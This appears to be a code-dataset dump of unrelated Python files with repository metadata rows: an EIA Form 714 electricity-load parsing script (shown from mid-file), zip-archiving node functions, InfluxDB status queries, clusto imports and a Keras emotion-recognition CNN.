2000 : pd.read_fwf('%s/mapp/2000/MEC00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
2002 : pd.read_fwf('%s/mapp/2002/MEC02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(),
2003 : pd.read_fwf('%s/mapp/2003/MEC_ALL03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel()
},
4322 : {
1993 : pd.read_fwf('%s/mapp/1993/CP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1994 : pd.read_fwf('%s/mapp/1994/CP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1996 : pd.read_fwf('%s/mapp/1996/CP96' % (fulldir), header=None).iloc[:, 2:].values.ravel()
},
23333 : {
1993 : pd.read_fwf('%s/mapp/1993/MPSI93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1994 : pd.read_fwf('%s/mapp/1994/MPSI94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1995 : pd.read_fwf('%s/mapp/1995/MPSI95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel()
}
}
mapp[20858][1997] = np.repeat(np.nan, len(mapp[20858][1997]))
mapp[21352][1995][mapp[21352][1995] < 0] = 0
mapp[40580][2000] = np.repeat(np.nan, len(mapp[40580][2000]))
if not os.path.exists('./mapp'):
os.mkdir('mapp')
for k in mapp.keys():
print k
s = pd.DataFrame(pd.concat([pd.Series(mapp[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(mapp[k][i]))) for i in mapp[k].keys()]).sort_index(), columns=['load'])
s['load'] = s['load'].astype(float).replace(0, np.nan)
s.to_csv('./mapp/%s.csv' % k)
#################################
# WECC
#################################
import numpy as np
import pandas as pd
import os
import re
import datetime
import time
import pysal as ps
homedir = os.path.expanduser('~')
#basepath = '/home/akagi/Documents/EIA_form_data/wecc_form_714'
basepath = '%s/github/RIPS_kircheis/data/eia_form_714/active' % (homedir)
path_d = {
1993: '93WSCC1/WSCC',
1994: '94WSCC1/WSCC1994',
1995: '95WSCC1',
1996: '96WSCC1/WSCC1996',
1997: '97wscc1',
1998: '98WSCC1/WSCC1',
1999: '99WSCC1/WSCC1',
2000: '00WSCC1/WSCC1',
2001: '01WECC/WECC01/wecc01',
2002: 'WECCONE3/WECC One/WECC2002',
2003: 'WECC/WECC/WECC ONE/wecc03',
2004: 'WECC_2004/WECC/WECC One/ferc',
2006: 'form714-database_2006_2013/form714-database/Part 3 Schedule 2 - Planning Area Hourly Demand.csv'
}
#### GET UNIQUE UTILITIES AND UTILITIES BY YEAR
u_by_year = {}
for d in path_d:
if d != 2006:
full_d = basepath + '/' + path_d[d]
l = [i.lower().split('.')[0][:-2] for i in os.listdir(full_d) if i.lower().endswith('dat')]
u_by_year.update({d : sorted(l)})
unique_u = np.unique(np.concatenate([np.array(i) for i in u_by_year.values()]))
#### GET EIA CODES OF WECC UTILITIES
rm_d = {1993: {'rm': '93WSCC1/README2'},
1994: {'rm': '94WSCC1/README.TXT'},
1995: {'rm': '95WSCC1/README.TXT'},
1996: {'rm': '96WSCC1/README.TXT'},
1997: {'rm': '97wscc1/README.TXT'},
1998: {'rm': '98WSCC1/WSCC1/part.002'},
1999: {'rm': '99WSCC1/WSCC1/README.TXT'},
2000: {'rm': '00WSCC1/WSCC1/README.TXT'},
2001: {'rm': '01WECC/WECC01/wecc01/README.TXT'},
2002: {'rm': 'WECCONE3/WECC One/WECC2002/README.TXT'},
2003: {'rm': 'WECC/WECC/WECC ONE/wecc03/README.TXT'},
2004: {'rm': 'WECC_2004/WECC/WECC One/ferc/README.TXT'}}
for d in rm_d.keys():
fn = basepath + '/' + rm_d[d]['rm']
f = open(fn, 'r')
r = f.readlines()
f.close()
for i in range(len(r)):
if 'FILE NAME' in r[i]:
rm_d[d].update({'op': i})
if 'FERC' and 'not' in r[i]:
rm_d[d].update({'ed': i})
unique_u_ids = {}
for u in unique_u:
regex = re.compile('^ *%s\d\d.dat' % u, re.IGNORECASE)
for d in rm_d.keys():
fn = basepath + '/' + rm_d[d]['rm']
f = open(fn, 'r')
r = f.readlines() #[rm_d[d]['op']:rm_d[d]['ed']]
f.close()
for line in r:
result = re.search(regex, line)
if result:
# print line
code = line.split()[1]
nm = line.split(code)[1].strip()
unique_u_ids.update({u : {'code':code, 'name':nm}})
break
else:
continue
if u in unique_u_ids:
break
else:
continue
#id_2006 = pd.read_csv('/home/akagi/Documents/EIA_form_data/wecc_form_714/form714-database_2006_2013/form714-database/Respondent IDs.csv')
id_2006 = pd.read_csv('%s/form714-database_2006_2013/form714-database/Respondent IDs.csv' % (basepath))
id_2006 = id_2006.drop_duplicates('eia_code').set_index('eia_code').sort_index()
ui = pd.DataFrame.from_dict(unique_u_ids, orient='index')
ui = ui.loc[ui['code'] != '*'].drop_duplicates('code')
ui['code'] = ui['code'].astype(int)
ui = ui.set_index('code')
eia_to_r = pd.concat([ui, id_2006], axis=1).dropna()
# util = {
# 'aps' : 803,
# 'srp' : 16572,
# 'ldwp' : 11208
# }
# util_2006 = {
# 'aps' : 116,
# 'srp' : 244,
# 'ldwp' : 194
# }
#resp_ids = '/home/akagi/Documents/EIA_form_data/wecc_form_714/form714-database_2006_2013/form714-database/Respondent IDs.csv'
resp_ids = '%s/form714-database_2006_2013/form714-database/Respondent IDs.csv' % (basepath)
df_path_d = {}
def build_paths():
for y in path_d.keys():
if y < 2006:
pathstr = basepath + '/' + path_d[y]
dirstr = ' '.join(os.listdir(pathstr))
# print dirstr
for u in u_by_year[y]:
if not u in df_path_d:
df_path_d.update({u : {}})
srcstr = '%s\d\d.dat' % (u)
# print srcstr
match = re.search(srcstr, dirstr, re.I)
# print type(match.group())
rpath = pathstr + '/' + match.group()
df_path_d[u].update({y : rpath})
elif y == 2006:
pathstr = basepath + '/' + path_d[y]
for u in unique_u:
if not u in df_path_d:
df_path_d.update({u : {}})
df_path_d[u].update({y : pathstr})
df_d = {}
def build_df(u):
print u
df = pd.DataFrame()
for y in sorted(df_path_d[u].keys()):
print y
if y < 2006:
f = open(df_path_d[u][y], 'r')
r = f.readlines()
f.close()
#### DISCARD BINARY-ENCODED FILES
try:
enc = r[0].decode()
except:
enc = None
pass
if enc:
r = [g.replace('\t', ' ') for g in r if len(g) > 70]
if not str.isdigit(r[0][0]):
for line in range(len(r)):
try:
chk = int(''.join(r[line].rstrip().split()))
if chk:
# print line, r[line]
r = r[line:]
break
except:
continue
for i in range(0, len(r)-1, 2):
# print i
entry = [r[i], r[i+1]]
mo = int(r[i][:2])
day = int(r[i][2:4])
yr = y
# yr = r[i][4:6]
# if yr[0] == '0':
# yr = int('20' + yr)
# else:
# yr = int('19' + yr)
if (len(entry[0].rstrip()) + len(entry[1].rstrip())) == 160:
try:
am = [int(j) if j.strip() != '' else None for j in re.findall('.{5}', entry[0][20:].rstrip())]
pm = [int(j) if j.strip() != '' else None for j in re.findall('.{5}', entry[1][20:].rstrip())]
assert(len(am)==12)
assert(len(pm)==12)
except:
am = [int(j) for j in entry[0][20:].rstrip().split()]
pm = [int(j) for j in entry[1][20:].rstrip().split()]
assert(len(am)==12)
assert(len(pm)==12)
else:
try:
am = [int(j) for j in entry[0][20:].rstrip().split()]
pm = [int(j) for j in entry[1][20:].rstrip().split()]
assert(len(am)==12)
assert(len(pm)==12)
except:
try:
am = [int(j) if j.strip() != '' else None for j in re.findall('.{5}', entry[0][20:].rstrip())]
pm = [int(j) if j.strip() != '' else None for j in re.findall('.{5}', entry[1][20:].rstrip())]
if len(am) < 12:
am_arr = np.array(am)
am = np.pad(am_arr, (0, (12 - np.array(am).shape[0])), mode='symmetric').tolist()
if len(pm) < 12:
pm_arr = np.array(pm)
pm = np.pad(pm_arr, (0, (12 - np.array(pm).shape[0])), mode='symmetric').tolist()
if len(am) > 12:
am = am[:12]
if len(pm) > 12:
pm = pm[:12]
except:
print 'Cannot read line'
am = np.repeat(np.nan, 12).tolist()
pm = np.repeat(np.nan, 12).tolist()
ampm = am + pm
entry_df = pd.DataFrame()
try:
dt_ix = pd.date_range(start=datetime.datetime(yr, mo, day, 0), end=datetime.datetime(yr, mo, day, 23), freq='H')
entry_df['load'] = ampm
# print entry_df
entry_df.index = dt_ix
df = df.append(entry_df)
except:
entry_df['load'] = ampm
yest = df.index.to_pydatetime()[-1]
dt_ix = pd.date_range(start=(yest + datetime.timedelta(hours=1)), end=(yest + datetime.timedelta(hours=24)), freq='H')
entry_df.index = dt_ix
df = df.append(entry_df)
elif y == 2006:
f = pd.read_csv('%s/%s' % (basepath, path_d[y]))
if u in unique_u_ids.keys():
if str.isdigit(unique_u_ids[u]['code']):
eiacode = int(unique_u_ids[u]['code'])
if eiacode in eia_to_r.index.values:
if eia_to_r.loc[eiacode, 'respondent_id'] in f['respondent_id'].unique():
f = f.loc[f['respondent_id'] == eia_to_r.loc[eiacode, 'respondent_id'], [u'plan_date', u'hour01', u'hour02', u'hour03', u'hour04', u'hour05', u'hour06', u'hour07', u'hour08', u'hour09', u'hour10', u'hour11', u'hour12', u'hour13', u'hour14', u'hour15', u'hour16', u'hour17', u'hour18', u'hour19', u'hour20', u'hour21', u'hour22', u'hour23', u'hour24']]
f['plan_date'] = f['plan_date'].str.split().apply(lambda x: x[0]).apply(lambda x: datetime.datetime.strptime(x, '%m/%d/%Y'))
f = f.set_index('plan_date').stack().reset_index().rename(columns={'level_1':'hour', 0:'load'})
f['hour'] = f['hour'].str.replace('hour','').astype(int)-1
f['date'] = f.apply(lambda x: datetime.datetime(x['plan_date'].year, x['plan_date'].month, x['plan_date'].day, x['hour']), axis=1)
f = pd.DataFrame(f.set_index('date')['load'])
df = pd.concat([df, f], axis=0)
return df
build_paths()
#### Southern California Edison part of CAISO in 2006-2013: resp id 125
if not os.path.exists('./wecc'):
os.mkdir('wecc')
for x in unique_u:
out_df = build_df(x)
if x in unique_u_ids.keys():
if str.isdigit(unique_u_ids[x]['code']):
out_df.to_csv('./wecc/%s.csv' % unique_u_ids[x]['code'])
else:
out_df.to_csv('./wecc/%s.csv' % x)
else:
out_df.to_csv('./wecc/%s.csv' % x)
#################################
from itertools import chain
li = []
for fn in os.listdir('.'):
li.append(os.listdir('./%s' % (fn)))
s = pd.Series(list(chain(*li)))
s = s.str.replace('\.csv', '')
u = s[s.str.contains('\d+')].str.replace('[^\d]', '').astype(int).unique()
homedir = os.path.expanduser('~')
rid = pd.read_csv('%s/github/RIPS_kircheis/data/eia_form_714/active/form714-database/form714-database/Respondent IDs.csv' % homedir)
ridu = rid[rid['eia_code'] != 0]
ridu[~ridu['eia_code'].isin(u)]
| 91.005505 | 379 | 0.591062 | 35,860 | 198,392 | 3.235109 | 0.050892 | 0.146021 | 0.199119 | 0.238943 | 0.861677 | 0.840472 | 0.816871 | 0.754489 | 0.709881 | 0.653947 | 0 | 0.173878 | 0.137581 | 198,392 | 2,179 | 380 | 91.047269 | 0.504164 | 0.016387 | 0 | 0.063636 | 0 | 0.000535 | 0.131161 | 0.006865 | 0 | 0 | 0 | 0 | 0.003209 | 0 | null | null | 0.000535 | 0.006417 | null | null | 0.006417 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
887dd4cc0e2afa7c7191479e356ca4d297b8fafa | 165 | py | Python | nbdev_testing/None.py | Sylvia9628/nbdev_testing | dd4c4b874d80be684fd2be913c815d9fc5544d65 | [
"Apache-2.0"
] | null | null | null | nbdev_testing/None.py | Sylvia9628/nbdev_testing | dd4c4b874d80be684fd2be913c815d9fc5544d65 | [
"Apache-2.0"
] | null | null | null | nbdev_testing/None.py | Sylvia9628/nbdev_testing | dd4c4b874d80be684fd2be913c815d9fc5544d65 | [
"Apache-2.0"
] | null | null | null |
# Cell
from .preprocess import *
from .tfidf import *
# Cell
from .preprocess import *
from .tfidf import *
# Cell
from .preprocess import *
from .tfidf import * | 12.692308 | 25 | 0.709091 | 21 | 165 | 5.571429 | 0.238095 | 0.205128 | 0.461538 | 0.615385 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0.2 | 165 | 13 | 26 | 12.692308 | 0.886364 | 0.084848 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 14 |
88b0e7106977f75f1b164af3b912e660d162bd85 | 7,142 | py | Python | node_exec/zip_nodes.py | compix/NodeGraphQt | 511c02aef02a7e16a9f40aa368c2f560bd3bbdff | [
"MIT"
] | null | null | null | node_exec/zip_nodes.py | compix/NodeGraphQt | 511c02aef02a7e16a9f40aa368c2f560bd3bbdff | [
"MIT"
] | null | null | null | node_exec/zip_nodes.py | compix/NodeGraphQt | 511c02aef02a7e16a9f40aa368c2f560bd3bbdff | [
"MIT"
] | null | null | null | from node_exec.base_nodes import defNode
from zipfile import ZipFile
import os
from pathlib import Path
import subprocess
IDENTIFIER = "Zip"
pwEncryptionSupported = False
try:
import pyzipper
pwEncryptionSupported = True
except:
print("Note: Password-encryption for zip archives is not supported because the pyzipper module ist missing: pip install pyzipper")
@defNode("Zip Folder", isExecutable=True, returnNames=["Zipped File Path"], identifier=IDENTIFIER)
def zipFolder(folderPath="", outputZipFilePath="", password="", progressHandler=None):
"""
If a progressHandler is specified, the progress will be updated with
progressHandler(progress, currentFileIndex, totalNumberOfFiles) where progress is a float in [0,1].
"""
relFolder = Path(folderPath).parent
if progressHandler:
numberOfFiles = sum([len(files) for _, _, files in os.walk(folderPath)])
progressHandler(0.0, 0, numberOfFiles)
fileNumber = 0
if password == "" or not pwEncryptionSupported:
with ZipFile(outputZipFilePath, 'w') as zipFile:
for folderName, _, filenames in os.walk(folderPath):
for filename in filenames:
filePath = os.path.join(folderName, filename)
zipFile.write(filePath, os.path.relpath(filePath, relFolder))
if progressHandler:
fileNumber += 1
progressHandler(float(fileNumber) / numberOfFiles, fileNumber, numberOfFiles)
return outputZipFilePath
else:
with pyzipper.AESZipFile(outputZipFilePath, 'w', compression=pyzipper.ZIP_LZMA, encryption=pyzipper.WZ_AES) as zipFile:
zipFile.pwd = password
for folderName, _, filenames in os.walk(folderPath):
for filename in filenames:
filePath = os.path.join(folderName, filename)
zipFile.write(filePath, os.path.relpath(filePath, relFolder))
if progressHandler:
fileNumber += 1
progressHandler(float(fileNumber) / numberOfFiles, fileNumber, numberOfFiles)
@defNode("Zip Files", isExecutable=True, returnNames=["Zipped File Path"], identifier=IDENTIFIER)
def zipFiles(filePathList=None, outputZipFilePath="", keepRelativeFolderStructure=True, password="", progressHandler=None):
"""
If a progressHandler is specified, the progress will be updated with
progressHandler(progress, currentFileIndex, totalNumberOfFiles) where progress is a float in [0,1].
"""
if filePathList == None:
filePathList = []
# Support single files:
if not isinstance(filePathList, list):
filePathList = [filePathList]
if progressHandler:
numberOfFiles = len(filePathList)
progressHandler(0.0, 0, numberOfFiles)
fileNumber = 0
relFolder = Path(os.path.commonpath(filePathList)).parent
if password == "" or not pwEncryptionSupported:
with ZipFile(outputZipFilePath, 'w') as zipFile:
for filePath in filePathList:
if keepRelativeFolderStructure:
zipFile.write(filePath, os.path.relpath(filePath, relFolder))
else:
zipFile.write(filePath, os.path.basename(filePath))
if progressHandler:
fileNumber += 1
progressHandler(float(fileNumber) / numberOfFiles, fileNumber, numberOfFiles)
else:
with pyzipper.AESZipFile(outputZipFilePath, 'w', compression=pyzipper.ZIP_LZMA, encryption=pyzipper.WZ_AES) as zipFile:
zipFile.pwd = password
for filePath in filePathList:
if keepRelativeFolderStructure:
zipFile.write(filePath, os.path.relpath(filePath, relFolder))
else:
zipFile.write(filePath, os.path.basename(filePath))
if progressHandler:
fileNumber += 1
progressHandler(float(fileNumber) / numberOfFiles, fileNumber, numberOfFiles)
return outputZipFilePath
@defNode("Add Files to Zip", isExecutable=True, returnNames=["Zipped File Path"], identifier=IDENTIFIER)
def addFilesToZip(filePathList=None, existingZipFile="", keepRelativeFolderStructure=True, progressHandler=None):
"""
If a progressHandler is specified, the progress will be updated with
progressHandler(progress, currentFileIndex, totalNumberOfFiles) where progress is a float in [0,1].
"""
if filePathList == None:
filePathList = []
# Support single files:
if not isinstance(filePathList, list):
filePathList = [filePathList]
if progressHandler:
numberOfFiles = len(filePathList)
progressHandler(0.0, 0, numberOfFiles)
fileNumber = 0
with ZipFile(existingZipFile, 'a') as zipFile:
relFolder = Path(os.path.commonpath(filePathList)).parent
for filePath in filePathList:
if keepRelativeFolderStructure:
zipFile.write(filePath, os.path.relpath(filePath, relFolder))
else:
zipFile.write(filePath, os.path.basename(filePath))
if progressHandler:
fileNumber += 1
progressHandler(float(fileNumber) / numberOfFiles, fileNumber, numberOfFiles)
return existingZipFile
@defNode("Add Folder to Zip", isExecutable=True, returnNames=["Zipped File Path"], identifier=IDENTIFIER)
def addFolderToZip(folderPath=None, existingZipFile="", progressHandler=None):
"""
If a progressHandler is specified, the progress will be updated with
progressHandler(progress, currentFileIndex, totalNumberOfFiles) where progress is a float in [0,1].
"""
relFolder = Path(folderPath).parent
if progressHandler:
numberOfFiles = sum([len(files) for _, _, files in os.walk(folderPath)])
progressHandler(0.0, 0, numberOfFiles)
fileNumber = 0
with ZipFile(existingZipFile, 'a') as zipFile:
for folderName, _, filenames in os.walk(folderPath):
for filename in filenames:
filePath = os.path.join(folderName, filename)
zipFile.write(filePath, os.path.relpath(filePath, relFolder))
if progressHandler:
fileNumber += 1
progressHandler(float(fileNumber) / numberOfFiles, fileNumber, numberOfFiles)
return existingZipFile
"""
@defNode("Zip", isExecutable=True, returnNames=["Zipped File Path"], identifier=IDENTIFIER)
def make7ZipArchive(filesAndFolders=None, outputZipFilePath="", password=""):
if filesAndFolders == None:
filesAndFolders = []
if not isinstance(filesAndFolders, list):
filesAndFolders = [filesAndFolders]
if len(filesAndFolders) > 0:
pathAdjustedFiles = []
for f in filesAndFolders:
pathAdjustedFiles.append(f"\"{os.path.normpath(f)}\"")
subprocess.call(['7z', 'a', f'-p{password}', '-y', f"\"{os.path.normpath(outputZipFilePath)}\""] + pathAdjustedFiles)
""" | 41.283237 | 134 | 0.654719 | 671 | 7,142 | 6.949329 | 0.166915 | 0.020588 | 0.036028 | 0.042462 | 0.804418 | 0.804418 | 0.804418 | 0.784259 | 0.784259 | 0.756809 | 0 | 0.006189 | 0.25343 | 7,142 | 173 | 135 | 41.283237 | 0.868342 | 0.101372 | 0 | 0.816514 | 0 | 0.009174 | 0.043015 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.036697 | false | 0.06422 | 0.055046 | 0 | 0.12844 | 0.009174 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 8 |
31ef7f5927deb85c1190b03a9e61cac91c0c3843 | 1,364 | py | Python | source/modules/tester/queryMonitoringDB.py | AdL1398/PiCasso | d5757df1229ed18c04e7320cb12411a93323e684 | [
"MIT"
] | 3 | 2017-06-28T18:31:15.000Z | 2018-01-04T18:00:09.000Z | source/modules/tester/queryMonitoringDB.py | AdL1398/PiCasso | d5757df1229ed18c04e7320cb12411a93323e684 | [
"MIT"
] | null | null | null | source/modules/tester/queryMonitoringDB.py | AdL1398/PiCasso | d5757df1229ed18c04e7320cb12411a93323e684 | [
"MIT"
] | 7 | 2017-03-28T21:26:40.000Z | 2019-11-01T13:37:23.000Z | from influxdb import InfluxDBClient
client = InfluxDBClient('localhost', 8086, 'root', 'root', 'picasso')
client.create_database('picasso')
#result = client.query('select cpuUsage from pi_status;')
#print("Result: {0}".format(result))
#
# result = client.query('select memUsage from pi_status;')
# print("Result: {0}".format(result))
#
# result = client.query('select cpuLoad from pi_status;')
# print("Result: {0}".format(result))
#
# result = client.query('select image_name from pi_status;')
# print("Result: {0}".format(result))
#
# result = client.query('select container_id from pi_status;')
# print("Result: {0}".format(result))
#
result = client.query('select container_name from pi_status;')
print("Result: {0}".format(result))
#
# result = client.query('select container_status from pi_status;')
# print("Result: {0}".format(result))
#
# result = client.query('select port_host from pi_status;')
# print("Result: {0}".format(result))
#
# result = client.query('select port_container from pi_status;')
# print("Result: {0}".format(result))
#
#result = client.query('select container_cpuUsage from pi_status;')
#print("Result: {0}".format(result))
result = client.query('select container_memUsage from pi_status;')
print("Result: {0}".format(result))
| 34.1 | 71 | 0.66129 | 166 | 1,364 | 5.313253 | 0.168675 | 0.14966 | 0.212018 | 0.286848 | 0.815193 | 0.815193 | 0.815193 | 0.815193 | 0.815193 | 0.756236 | 0 | 0.013204 | 0.167155 | 1,364 | 39 | 72 | 34.974359 | 0.763204 | 0.632698 | 0 | 0.285714 | 0 | 0 | 0.277542 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.142857 | 0 | 0.142857 | 0.285714 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
31f81ee43c42482a6fdb084815557aa090c95979 | 314 | py | Python | src/clusto/drivers/base/__init__.py | thekad/clusto | c141ea3ef4931c6a21fdf42845c6e9de5ee08caa | [
"BSD-3-Clause"
] | 216 | 2015-01-10T17:03:25.000Z | 2022-03-24T07:23:41.000Z | src/clusto/drivers/base/__init__.py | thekad/clusto | c141ea3ef4931c6a21fdf42845c6e9de5ee08caa | [
"BSD-3-Clause"
] | 23 | 2015-01-08T16:51:22.000Z | 2021-03-13T12:56:04.000Z | src/clusto/drivers/base/__init__.py | thekad/clusto | c141ea3ef4931c6a21fdf42845c6e9de5ee08caa | [
"BSD-3-Clause"
] | 49 | 2015-01-08T00:13:17.000Z | 2021-09-22T02:01:20.000Z |
from clusto.drivers.base.clustodriver import *
from clusto.drivers.base.driver import *
from clusto.drivers.base.clustometa import *
from clusto.drivers.base.device import *
from clusto.drivers.base.location import *
from clusto.drivers.base.resourcemanager import *
from clusto.drivers.base.controller import *
| 31.4 | 49 | 0.815287 | 42 | 314 | 6.095238 | 0.285714 | 0.273438 | 0.464844 | 0.574219 | 0.632813 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.095541 | 314 | 9 | 50 | 34.888889 | 0.901408 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
ee2eaac2d64c58c1c4d6c2cbf5065e0cc5be55e7 | 3,016 | py | Python | models_Keras.py | briantang1117/EmotionRecognize_CNN | 128fd1550527aaaf3f89c7bb9bd384460c8ab44b | [
"MIT"
] | null | null | null | models_Keras.py | briantang1117/EmotionRecognize_CNN | 128fd1550527aaaf3f89c7bb9bd384460c8ab44b | [
"MIT"
] | null | null | null | models_Keras.py | briantang1117/EmotionRecognize_CNN | 128fd1550527aaaf3f89c7bb9bd384460c8ab44b | [
"MIT"
] | null | null | null | # 2020年11月14日
# Brian Tang
# Python 3.8
# tensorflow 2.3.1
from tensorflow import keras
# 建立模型
def build_model(width, height, num_classes):
model = keras.models.Sequential()
model.add(keras.layers.Conv2D(filters=8, kernel_size=3, strides=1, padding='same', activation='relu',
input_shape=(width, height, 3)))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.Conv2D(filters=8, kernel_size=3, strides=1, padding='same', activation='relu'))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.Conv2D(filters=16, kernel_size=1, strides=1, padding='same'))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.SeparableConv2D(filters=16, kernel_size=3, padding='same', activation='relu'))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.SeparableConv2D(filters=16, kernel_size=3, padding='same'))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.MaxPool2D(pool_size=3, strides=2))
model.add(keras.layers.Conv2D(filters=32, kernel_size=1, strides=1, padding='same'))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.SeparableConv2D(filters=32, kernel_size=3, padding='same', activation='relu'))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.SeparableConv2D(filters=32, kernel_size=3, padding='same'))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.MaxPool2D(pool_size=3, strides=2))
model.add(keras.layers.Conv2D(filters=64, kernel_size=1, strides=1, padding='same'))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.SeparableConv2D(filters=64, kernel_size=3, padding='same', activation='relu'))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.SeparableConv2D(filters=64, kernel_size=3, padding='same'))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.MaxPool2D(pool_size=3, strides=2))
model.add(keras.layers.Conv2D(filters=128, kernel_size=1, strides=1, padding='same'))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.SeparableConv2D(filters=128, kernel_size=3, padding='same', activation='relu'))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.SeparableConv2D(filters=128, kernel_size=3, padding='same'))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.MaxPool2D(pool_size=3, strides=2))
model.add(keras.layers.Conv2D(filters=7, kernel_size=3, strides=1, padding='same'))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.Flatten())
model.add(keras.layers.Dense(128, activation='relu'))
model.add(keras.layers.Dropout(0.4)) # Dropout防止过度拟合
model.add(keras.layers.Dense(num_classes, activation='softmax'))
model.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'], )
model.summary()
return model
| 55.851852 | 106 | 0.733422 | 395 | 3,016 | 5.539241 | 0.15443 | 0.13894 | 0.225777 | 0.329982 | 0.857861 | 0.835923 | 0.820841 | 0.815814 | 0.815814 | 0.815814 | 0 | 0.036472 | 0.109085 | 3,016 | 53 | 107 | 56.90566 | 0.777819 | 0.022878 | 0 | 0.422222 | 0 | 0 | 0.044558 | 0.008163 | 0 | 0 | 0 | 0 | 0 | 1 | 0.022222 | false | 0 | 0.022222 | 0 | 0.066667 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
ee339d8abf981412080ab50c43ef7735b7b9aaf7 | 4,014 | py | Python | src/m101j/week02/project/m101j_blog/validate_decoder.py | hemmerling/nosql-mongodb2013 | bd2bb4f76234e0732b738f14cb474f7554c864c1 | [
"Apache-2.0"
] | null | null | null | src/m101j/week02/project/m101j_blog/validate_decoder.py | hemmerling/nosql-mongodb2013 | bd2bb4f76234e0732b738f14cb474f7554c864c1 | [
"Apache-2.0"
] | null | null | null | src/m101j/week02/project/m101j_blog/validate_decoder.py | hemmerling/nosql-mongodb2013 | bd2bb4f76234e0732b738f14cb474f7554c864c1 | [
"Apache-2.0"
] | null | null | null | import base64
